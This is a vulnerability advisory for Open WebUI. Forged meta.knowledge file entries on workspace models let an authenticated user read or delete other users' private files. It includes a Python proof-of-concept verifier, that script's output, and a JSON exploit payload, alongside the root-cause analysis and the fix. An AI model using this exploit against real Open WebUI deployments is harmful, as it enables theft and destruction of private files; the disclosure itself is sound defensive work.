PT-2026-50484 · Pypi · Open-Webui
Published
2026-06-17
·
Updated
2026-06-17
·
CVE-2026-54012
CVSS v3.1
7.1
High
| Vector | AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L |
Summary
Open WebUI lets a user who can create, update, or import workspace models store arbitrary
meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in view file tool reads the file's extracted text, and has access to file()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker needs the
workspace.models or workspace.models import permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:- read the file's extracted text (up to
100000characters perview filecall fromfile.data.content), - read the file's content via
GET /api/v1/files/{id}/content, and - delete the file via
DELETE /api/v1/files/{id}.
Root Cause
ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:python
# backend/open webui/models/models.py
class ModelForm(BaseModel):
model config = ConfigDict(extra='ignore')
id: str
base model id: Optional[str] = None
name: str
meta: ModelMeta
params: ModelParamsModel creation only checks the caller's model-workspace permission and then stores the form data:
python
# backend/open webui/routers/models.py
if user.role != 'admin' and not await has permission(
user.id, 'workspace.models', request.app.state.config.USER PERMISSIONS, db=db
):
raise HTTPException(...)
model = await Models.insert new model(form data, user.id, db=db)The insert sink persists the supplied
meta:python
# backend/open webui/models/models.py
result = Model(
**{
**form data.model dump(exclude={'access grants'}),
'user id': user id,
...
}
)When built-in tools are assembled,
meta.knowledge is passed through as model knowledge, and any file entry enables view file:python
# backend/open webui/utils/tools.py
model knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])
...
knowledge types = {item.get('type') for item in model knowledge}
if 'file' in knowledge types or 'collection' in knowledge types:
builtin functions.append(view file)view file treats matching model knowledge file IDs as authorization, before has access to file():python
# backend/open webui/tools/builtin.py
if (
file.user id != user id
and user role != 'admin'
and not any(
item.get('type') == 'file' and item.get('id') == file id for item in ( model knowledge or [])
)
and not await has access to file(...)
):
return json.dumps({'error': 'File not found'})The same forged
meta.knowledge is also trusted outside the tool path. has access to file() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:python
# backend/open webui/utils/access control/files.py
for model in await Models.get models by user id(user.id, permission=access type, db=db):
knowledge items = getattr(model.meta, 'knowledge', None) or []
for item in knowledge items:
if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:
return TrueThis branch is not restricted to read, so it also satisfies the
write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.PoC
python
#!/usr/bin/env python3
"""
Verifier for forged model meta.knowledge file entries reaching builtin tools.
The proof executes:
- the real Models.insert new model() sink with a forged meta.knowledge entry
- the real builtin view file() authorization branch
Fake DB/model adapters are used only to avoid requiring a live Open WebUI
server. The security-sensitive code under test is Open WebUI application code.
"""
from future import annotations
import asyncio
import ast
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
REPO = Path( file ).resolve().parents[1]
BUILTIN TOOLS = REPO / "backend/open webui/tools/builtin.py"
def prepare imports() -> None:
sys.path.insert(0, str(REPO / "backend"))
os.environ["VECTOR DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeDb:
def init (self):
self.added = []
self.committed = False
self.refreshed = False
def add(self, row):
self.added.append(row)
async def commit(self):
self.committed = True
async def refresh(self, row):
self.refreshed = True
class FakeDbContext:
def init (self, db):
self.db = db
async def aenter (self):
return self.db
async def aexit (self, exc type, exc, tb):
return False
async def verify model insert accepts victim file(victim file id: str):
import open webui.models.models as models module
fake db = FakeDb()
original context = models module.get async db context
original set grants = models module.AccessGrants.set access grants
original to model = models module.Models. to model model
async def fake set access grants(*args, **kwargs):
return True
async def fake to model(self, model, access grants=None, db=None):
return SimpleNamespace(
id=model.id,
user id=model.user id,
base model id=model.base model id,
name=model.name,
params=model.params,
meta=model.meta,
access grants=[],
is active=model.is active,
created at=model.created at,
updated at=model.updated at,
)
try:
models module.get async db context = lambda db=None: FakeDbContext(fake db)
models module.AccessGrants.set access grants = fake set access grants
models module.Models. to model model = types.MethodType(fake to model, models module.Models)
inserted = await models module.Models.insert new model(
models module.ModelForm(
id="attacker-model",
base model id="gpt-vision-base",
name="Attacker Model",
params={},
meta={
"knowledge": [
{
"id": victim file id,
"type": "file",
"name": "victim-private.txt",
}
],
"builtinTools": {"knowledge": True},
},
),
user id="attacker",
)
finally:
models module.get async db context = original context
models module.AccessGrants.set access grants = original set grants
models module.Models. to model model = original to model
stored meta = [getattr(row, "meta", None) for row in fake db.added]
stored knowledge ids = [
item.get("id")
for meta in stored meta
for item in ((meta or {}).get("knowledge") or [])
]
return {
"insert returned model": bool(inserted),
"db commit called": fake db.committed,
"stored user ids": [getattr(row, "user id", None) for row in fake db.added],
"stored model ids": [getattr(row, "id", None) for row in fake db.added],
"stored knowledge file ids": stored knowledge ids,
}
async def verify view file trusts model knowledge(victim file id: str):
class FakeFiles:
looked up ids = []
async def get file by id(self, file id, db=None):
self.looked up ids.append(file id)
if file id == victim file id:
return SimpleNamespace(
id=victim file id,
user id="victim",
filename="victim-private.txt",
data={"content": "PRIVATE MODEL KNOWLEDGE SECRET"},
created at=1,
updated at=2,
)
return None
async def fake has access to file(file id, access type, user, db=None):
return False
class FakeUserModel:
def init (self, **kwargs):
self. dict .update(kwargs)
fake files = FakeFiles()
fake files module = types.SimpleNamespace(Files=fake files)
fake file acl module = types.SimpleNamespace(has access to file=fake has access to file)
original files module = sys.modules.get("open webui.models.files")
original acl module = sys.modules.get("open webui.utils.access control.files")
try:
sys.modules["open webui.models.files"] = fake files module
sys.modules["open webui.utils.access control.files"] = fake file acl module
source = BUILTIN TOOLS.read text(encoding="utf-8")
tree = ast.parse(source, filename=str(BUILTIN TOOLS))
selected = [
node
for node in tree.body
if isinstance(node, ast.AsyncFunctionDef) and node.name == "view file"
]
if len(selected) != 1:
raise RuntimeError("could not find view file")
module = ast.Module(body=selected, type ignores=[])
ast.fix missing locations(module)
ns = {
"json": json,
"Optional": import ("typing").Optional,
"Request": object,
"UserModel": FakeUserModel,
"log": SimpleNamespace(exception=lambda *args, **kwargs: None),
"MAX VIEW FILE CHARS": 100 000,
"DEFAULT VIEW FILE MAX CHARS": 10 000,
}
exec(compile(module, str(BUILTIN TOOLS), "exec"), ns)
view file = ns["view file"]
denied without model knowledge = await view file(
victim file id,
request =SimpleNamespace(),
user ={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
model knowledge =[],
)
allowed with model knowledge = await view file(
victim file id,
request =SimpleNamespace(),
user ={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
model knowledge =[{"id": victim file id, "type": "file"}],
)
finally:
if original files module is not None:
sys.modules["open webui.models.files"] = original files module
else:
sys.modules.pop("open webui.models.files", None)
if original acl module is not None:
sys.modules["open webui.utils.access control.files"] = original acl module
else:
sys.modules.pop("open webui.utils.access control.files", None)
denied = json.loads(denied without model knowledge)
allowed = json.loads(allowed with model knowledge)
return {
"file ids looked up": fake files.looked up ids,
"without model knowledge": denied,
"with forged model knowledge": allowed,
"private content disclosed": allowed.get("content") == "PRIVATE MODEL KNOWLEDGE SECRET",
}
async def main() -> None:
prepare imports()
victim file id = "victim-private-file"
insert sink = await verify model insert accepts victim file(victim file id)
tool read = await verify view file trusts model knowledge(victim file id)
result = {
"confirmed": (
insert sink["insert returned model"] is True
and insert sink["stored user ids"] == ["attacker"]
and insert sink["stored knowledge file ids"] == [victim file id]
and tool read["without model knowledge"].get("error") == "File not found"
and tool read["private content disclosed"] is True
),
"attacker user id": "attacker",
"victim user id": "victim",
"victim file id": victim file id,
"attacker owns file": False,
"model insert sink": insert sink,
"tool read": tool read,
"source": {
"insert sink": "backend/open webui/models/models.py:Models.insert new model",
"tool injection": "backend/open webui/utils/tools.py:get builtin tools passes model meta.knowledge as model knowledge ",
"read sink": "backend/open webui/tools/builtin.py:view file",
},
}
print(json.dumps(result, indent=2, sort keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if name == " main ":
asyncio.run(main())The PoC executes the real
Models.insert new model() sink and the real view file() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms view file() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.Result:
json
{
"attacker owns file": false,
"attacker user id": "attacker",
"confirmed": true,
"model insert sink": {
"db commit called": true,
"insert returned model": true,
"stored knowledge file ids": [
"victim-private-file"
],
"stored model ids": [
"attacker-model"
],
"stored user ids": [
"attacker"
]
},
"tool read": {
"private content disclosed": true,
"with forged model knowledge": {
"content": "PRIVATE MODEL KNOWLEDGE SECRET",
"filename": "victim-private.txt",
"id": "victim-private-file"
},
"without model knowledge": {
"error": "File not found"
}
},
"victim file id": "victim-private-file",
"victim user id": "victim"
}Exploit Sketch
- Attacker has permission to create or update workspace models.
- Attacker creates a model with:
json
{
"meta": {
"knowledge": [
{
"id": "VICTIM FILE ID",
"type": "file",
"name": "victim-private.txt"
}
],
"builtinTools": {
"knowledge": true
}
}
}- Attacker chats with that model using native/built-in tools and invokes
view fileforVICTIM FILE ID. - The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.
Recommended Fix
Validate
meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or has access to file(file id, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.Do not let
view file() treat model knowledge as an authorization bypass; it should still enforce ownership/admin/has access to file() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.Consolidation
Per our Report Handling policy this consolidates independent reports of the same model
meta.knowledge file-ID laundering flaw:- Read via forged
meta.knowledgeon model create, through the built-inview filetool: @0xEr3n (earliest filing). - Distinct paths demonstrated by @5yu4n: the import endpoint (
POST /api/v1/models/import), and cross-user read and deletion through the file API (GET/DELETE /api/v1/files/{id}) viahas access to file()'s model branch.
Fix validates
meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.Fix
Improper Authorization
Improper Access Control
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Open-Webui